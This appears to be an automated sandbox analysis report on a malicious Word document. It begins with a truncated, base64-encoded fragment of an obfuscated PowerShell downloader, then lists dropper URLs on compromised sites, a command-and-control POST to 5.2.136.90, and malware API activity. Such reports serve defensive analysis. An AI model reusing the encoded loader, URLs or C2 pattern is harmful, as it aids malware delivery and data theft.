nAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArA

                    Signature Overview

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection:

                    barindex
                    Antivirus detection for URL or domainShow sources
                    Source: http://veterinariadrpopui.com/content/5f18Q/Avira URL Cloud: Label: malware
                    Source: http://khanhhoahomnay.net/wordpress/CGMC/Avira URL Cloud: Label: malware
                    Source: http://shop.elemenslide.com/wp-content/n/Avira URL Cloud: Label: malware
                    Multi AV Scanner detection for submitted fileShow sources
                    Source: DATA-480841.docVirustotal: Detection: 59%Perma Link
                    Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt,
                    Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree,
                    Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree,
                    Source: C:\Windows\SysWOW64\rundll32.exeCode function: 15_2_002175AE CryptDecodeObjectEx,
                    Source: C:\Windows\SysWOW64\rundll32.exeCode function: 15_2_0021109C FindFirstFileW,
                    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user
                    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData
                    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming
                    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft
                    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
                    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
                    Source: global trafficDNS query: name: wpsapk.com
                    Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.18.61.59:80
                    Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.18.61.59:80

                    Networking:

                    barindex
                    Potential dropper URLs found in powershell memoryShow sources
                    Source: powershell.exe, 00000005.00000002.2116222591.00000000037E4000.00000004.00000001.sdmpString found in memory: http://wpsapk.com/wp-admin/v/
                    Source: powershell.exe, 00000005.00000002.2116222591.00000000037E4000.00000004.00000001.sdmpString found in memory: http://sofsuite.com/wp-includes/2jm3nIk/
                    Source: powershell.exe, 00000005.00000002.2116222591.00000000037E4000.00000004.00000001.sdmpString found in memory: http://veterinariadrpopui.com/content/5f18Q/
                    Source: powershell.exe, 00000005.00000002.2116222591.00000000037E4000.00000004.00000001.sdmpString found in memory: http://shop.elemenslide.com/wp-content/n/
                    Source: powershell.exe, 00000005.00000002.2116222591.00000000037E4000.00000004.00000001.sdmpString found in memory: http://khanhhoahomnay.net/wordpress/CGMC/
                    Source: powershell.exe, 00000005.00000002.2116222591.00000000037E4000.00000004.00000001.sdmpString found in memory: http://campusexpo.org/department-of-odhmmkd/95eXZY/
                    Source: powershell.exe, 00000005.00000002.2116222591.00000000037E4000.00000004.00000001.sdmpString found in memory: https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/
                    Source: global trafficHTTP traffic detected: GET /wp-admin/v/ HTTP/1.1Host: wpsapk.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /wp-includes/2jm3nIk/ HTTP/1.1Host: sofsuite.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /content/5f18Q/ HTTP/1.1Host: veterinariadrpopui.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /wordpress/CGMC/ HTTP/1.1Host: khanhhoahomnay.netConnection: Keep-Alive
                    Source: Joe Sandbox ViewIP Address: 209.59.139.39 209.59.139.39
                    Source: Joe Sandbox ViewIP Address: 5.2.136.90 5.2.136.90
                    Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                    Source: Joe Sandbox ViewASN Name: LIQUIDWEBUS LIQUIDWEBUS
                    Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                    Source: global trafficHTTP traffic detected: POST /6tycsc/ HTTP/1.1DNT: 0Referer: 5.2.136.90/6tycsc/Content-Type: multipart/form-data; boundary=----------OGLPvif2cEUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 7412Connection: Keep-AliveCache-Control: no-cache
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.2.136.90
                    Source: C:\Windows\SysWOW64\rundll32.exeCode function: 15_2_0022023A InternetReadFile,
                    Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9B01F17D-537D-406E-B057-1B1541B1D39D}.tmpJump to behavior
                    Source: global trafficHTTP traffic detected: GET /wp-admin/v/ HTTP/1.1Host: wpsapk.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /wp-includes/2jm3nIk/ HTTP/1.1Host: sofsuite.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /content/5f18Q/ HTTP/1.1Host: veterinariadrpopui.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /wordpress/CGMC/ HTTP/1.1Host: khanhhoahomnay.netConnection: Keep-Alive
                    Source: rundll32.exe, 00000006.00000002.2116157944.0000000001AE0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2110481704.00000000020A0000.00000002.00000001.sdmpString found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)